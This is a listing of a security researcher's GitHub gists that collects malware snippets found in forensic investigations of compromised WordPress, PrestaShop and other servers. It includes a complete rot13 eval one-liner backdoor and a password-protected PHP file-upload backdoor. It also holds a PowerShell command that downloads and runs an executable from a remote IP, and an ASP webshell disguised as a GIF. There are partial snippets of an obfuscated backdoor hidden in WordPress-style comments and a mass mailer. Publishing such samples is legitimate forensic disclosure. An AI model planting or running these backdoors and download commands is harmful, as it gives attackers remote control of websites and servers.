jonaslejon’s gists

jonaslejon / t44.php

Created September 25, 2015 12:06

WordPress backdoor user. Found duing forensic investigation

	<?php
	error_reporting(0);
	if(isset($_GET['check']))
	{
	echo "pawet";
	}
	if(isset($_REQUEST["v1"]))
	{
	$link = mysql_connect($_REQUEST["v1"], $_REQUEST["v2"], $_REQUEST["v3"]);
	$query = "SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema NOT IN ( 'information_schema', 'performance_schema', 'mysql' )";

jonaslejon / tracks.php

Last active September 24, 2015 13:28

Obfuscated PHP backdoor found in client PrestaShop installation

	<?php

	if(!defined("CUR_PATH")){
	define("CUR_PATH",dirname(__FILE__) . DIRECTORY_SEPARATOR);
	}
	if(!defined("SETTINGS_FILE")){
	define("SETTINGS_FILE",CUR_PATH."img.jpg");
	}
	if(!defined("LOG_FILE")){
	define("LOG_FILE",CUR_PATH."dot.jpg");

jonaslejon / gist:18c5d308e5f7d526a708

Created April 8, 2015 12:26

Download and run file

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('https://x.x.x.x/file.exe','%TEMP%\\31231231.cab'); expand %TEMP%\31231231.cab %TEMP%\31231231.exe; start %TEMP%\31231231.exe;

jonaslejon / php-mass-mailer.php

Created March 17, 2015 09:01

PHP Mass Mailer

	<?php
	/*
	The code below was found during a forensic investigation. It seems to be a mass mailer that is using the PHPMailer class to send mail
	from compromised web hosting providers.

	The "password" is 5307c392-ad5e-4909-adec-c9fd12572686, see below.

	Investigation was made by Jonas Lejon <jonas.githubgist at- triop.se>

	The signature for PHP.Trojan.Mailer-1 can only find the packed version of this file.

jonaslejon / php-backdoor.php

Created March 17, 2015 06:06

PHP Upload backdoor

	<?php
	/*

	The PHP backdoor code below was found during an forensic investigation, a part of the payload is not posted here.

	*/

	$payload_name = "";

	srand(time());

jonaslejon / wp-backdoor.php

Last active February 23, 2016 16:04

One-liner WordPress PHP Backdoor with rot13

($WordPress = $_POST['Wp']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($WordPress)', 'add');

jonaslejon / backdoor.php

Last active April 9, 2020 14:03

Obfuscated PHP backdoor

	/**
	* Front to the WordPress application. This file doesn't do anything, but loads
	* wp-blog-header.php which does and tells WordPress to load the theme.
	*
	* @package WordPress
	*/
	$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
	/**
	* Tells WordPress to load the WordPress theme and output it.
	*

jonaslejon / backdoor.php

Created January 17, 2015 20:58

PHP WordPress Upload Backdoor

	<?PHP
	$pswd=$_POST['pswd'];
	if($pswd=='188'){
	$dir=stripslashes($_POST['pathdir']);
	if($dir=='ok'){$ndir=dirname(__FILE__).'/';}else{$ndir=$_SERVER['DOCUMENT_ROOT'].$dir;}
	if ($_FILES["file"]["error"] > 0){
	}else{
	mkdir($ndir,0777);
	move_uploaded_file($_FILES["file"]["tmp_name"],$ndir . $_FILES["file"]["name"]);}}
	?>

jonaslejon / eljefe

Last active August 29, 2015 14:07

Eljefe malware

	eljefe-2.1/cuckoo/web/tmp_uploads/tmpHXwzkX/384d89e233ce04df0df3f68ab43afcb80a0db375e8c9204f68afb211a35311c3.exe: Win.Trojan.Generickd-217 FOUND
	eljefe-2.1/cuckoo/web/tmp_uploads/tmpAa9NTe/384d89e233ce04df0df3f68ab43afcb80a0db375e8c9204f68afb211a35311c3.exe: Win.Trojan.Generickd-217 FOUND
	eljefe-2.1/cuckoo/web/tmp_uploads/tmp6c_gCf/384d89e233ce04df0df3f68ab43afcb80a0db375e8c9204f68afb211a35311c3.exe: Win.Trojan.Generickd-217 FOUND
	eljefe-2.1/cuckoo/web/tmp_uploads/tmp18VjC9/384d89e233ce04df0df3f68ab43afcb80a0db375e8c9204f68afb211a35311c3.exe: Win.Trojan.Generickd-217 FOUND

	Etc.

jonaslejon / gist:0480514c4d7821a0a9fb

Created September 26, 2014 06:26

Found this malicious file in our server /tmp

	GIF89alovealihack<%eval request("alihack.com")%>
	<%On Error Resume Next
	Response.write CreateObject("wscript.shell").exec("cmd.exe /c whoami").StdOut.ReadAll%>\|
	<%Set Fso=server.createobject("scr"&"ipt"&"ing"&"."&"fil"&"esy"&"ste"&"mob"&"jec"&"t")
	sPath=replace(Server.MapPath("\"),"/", "\")
	Function CheckDirIsOKWrite(DirStr)
	On Error Resume Next
	Fso.CreateTextFile(DirStr&"\temp.tmp")
	if Err.number<>0 then
	Err.Clear()

Jonas Lejon jonaslejon